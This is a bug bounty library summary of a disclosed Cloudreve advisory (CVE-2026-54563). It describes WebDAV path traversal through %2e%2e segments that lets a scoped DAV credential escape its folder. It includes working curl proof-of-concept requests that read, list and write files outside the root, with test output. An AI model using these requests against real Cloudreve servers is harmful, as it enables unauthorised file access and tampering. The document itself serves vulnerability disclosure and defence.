# Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control — scoped DAV credential escapes its configured account root

Cloudreve's WebDAV handler joins the decoded request path to the account root without a containment check, letting a scoped DAV credential read/write files outside its folder.

- Payout: Research
- Severity: high
- Program: Cloudreve
- Found by: riodrwn
- Disclosed: 2026-08-26
- CVE: CVE-2026-54563
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w5fv-7x5q-g8qp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w5fv-7x5q-g8qp
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** WebDAV endpoint /dav in Cloudreve (Go, gin)
**Root cause:** stripPrefix joins the request suffix onto the DAV account's base URI via JoinRaw/url.URL.JoinPath with no descendant check; net/http decodes %2e%2e to .. before the handler, and PathEscape leaves '.' unescaped so '..' survives into JoinPath, which resolves the parent segment.
**Steps:**
1. Note net/http decodes %2e%2e to .. in r.URL.Path without cleaning it; gin passes it through unchanged.
2. Send `GET /dav/%2e%2e/outside.txt` with `curl --path-as-is -u 'victim@example.com:DAV_PASSWORD'`; handler sees URL.Path=/dav/../outside.txt.
3. stripPrefix trims /dav, yielding suffix `../outside.txt`, joined to base `cloudreve://my/restricted` -> `cloudreve://my/outside.txt`.
4. List with `PROPFIND /dav/%2e%2e/` and Depth: 1; write with `PUT /dav/%2e%2e/created-outside.txt`.
5. Alternative encoding `%2F..%2F` also works; double-encoded `%252e%252e` stays literal (negative control).
**How found:** Code review of the WebDAV handler: noticed stripPrefix joins the request suffix to the account base with no boundary check, then traced JoinRaw -> Join -> url.URL.JoinPath and confirmed PathEscape leaves '.' unescaped so '..' survives. Validated in two layers: a stdlib HTTP server showing decoded-but-uncleaned URL.Path, and Cloudreve's copied URI code resolving traversal outside the root.
**Exploitation:** An attacker holding a scoped DAV credential (e.g. delegated to a sync client or third party) issues path-as-is requests with %2e%2e or %2F..%2F segments to escape the configured root. Read-only credentials read and list any file in the owner's namespace; writable credentials create, overwrite, move and delete them. Escape is bounded to the same Cloudreve user's `my` namespace by downstream DBFS owner checks.
**Escalation:** Deep traversal clamps at the `my` host root, so impact is capped at the owner's whole filesystem; no cross-user or OS filesystem access.
**Insight:** When a handler builds a path by joining user input onto a base URI, check whether the join helper (url.URL.JoinPath, filepath.Join) silently resolves '..' — and remember net/http decodes percent-encoding before your handler, so a decoded-but-uncleaned URL.Path is the traversal primitive; test with curl --path-as-is.

## Proof of concept (copied exactly from the original report)

**curl requests escaping DAV root via %2e%2e**

```
curl --path-as-is -i -u 'victim@example.com:DAV_PASSWORD' \
  'https://cloudreve.example/dav/%2e%2e/outside.txt'

# List outside the DAV root
curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \
  -u 'victim@example.com:DAV_PASSWORD' \
  'https://cloudreve.example/dav/%2e%2e/'

# Write outside the DAV root (writable credentials)
printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \
  -u 'victim@example.com:DAV_PASSWORD' --data-binary @- \
  'https://cloudreve.example/dav/%2e%2e/created-outside.txt'
```

**net/http decoded path observation test**

```
REQUEST: GET /dav/%2e%2e/outside.txt
  handler observed: URL.Path="/dav/../outside.txt"   RawPath="/dav/%2e%2e/outside.txt"   -> 200
REQUEST: PROPFIND /dav/%2e%2e/
  handler observed: URL.Path="/dav/../"              RawPath="/dav/%2e%2e/"               -> 200
REQUEST: PUT /dav/%2e%2e/created-outside.txt
  handler observed: URL.Path="/dav/../created-outside.txt"                                 -> 200
REQUEST: GET /dav/%2F..%2Foutside.txt
  handler observed: URL.Path="/dav//../outside.txt"  RawPath="/dav/%2F..%2Foutside.txt"   -> 200
```

**URI resolution traversal test results**

```
traversal %2e%2e        URL.Path=/dav/../outside.txt     suffix="../outside.txt"     => cloudreve://my/outside.txt
traversal %2F..%2F      URL.Path=/dav//../outside.txt    suffix="/../outside.txt"    => cloudreve://my/outside.txt
benign nested           URL.Path=/dav/sub/normal.txt     suffix="sub/normal.txt"     => cloudreve://my/restricted/sub/normal.txt
double-encoded (ctrl)   URL.Path=/dav/%2e%2e/outside.txt suffix="%2e%2e/outside.txt" => cloudreve://my/restricted/%252e%252e/outside.txt
deep traversal          URL.Path=/dav/../../etc.txt      suffix="../../etc.txt"      => cloudreve://my/etc.txt
```

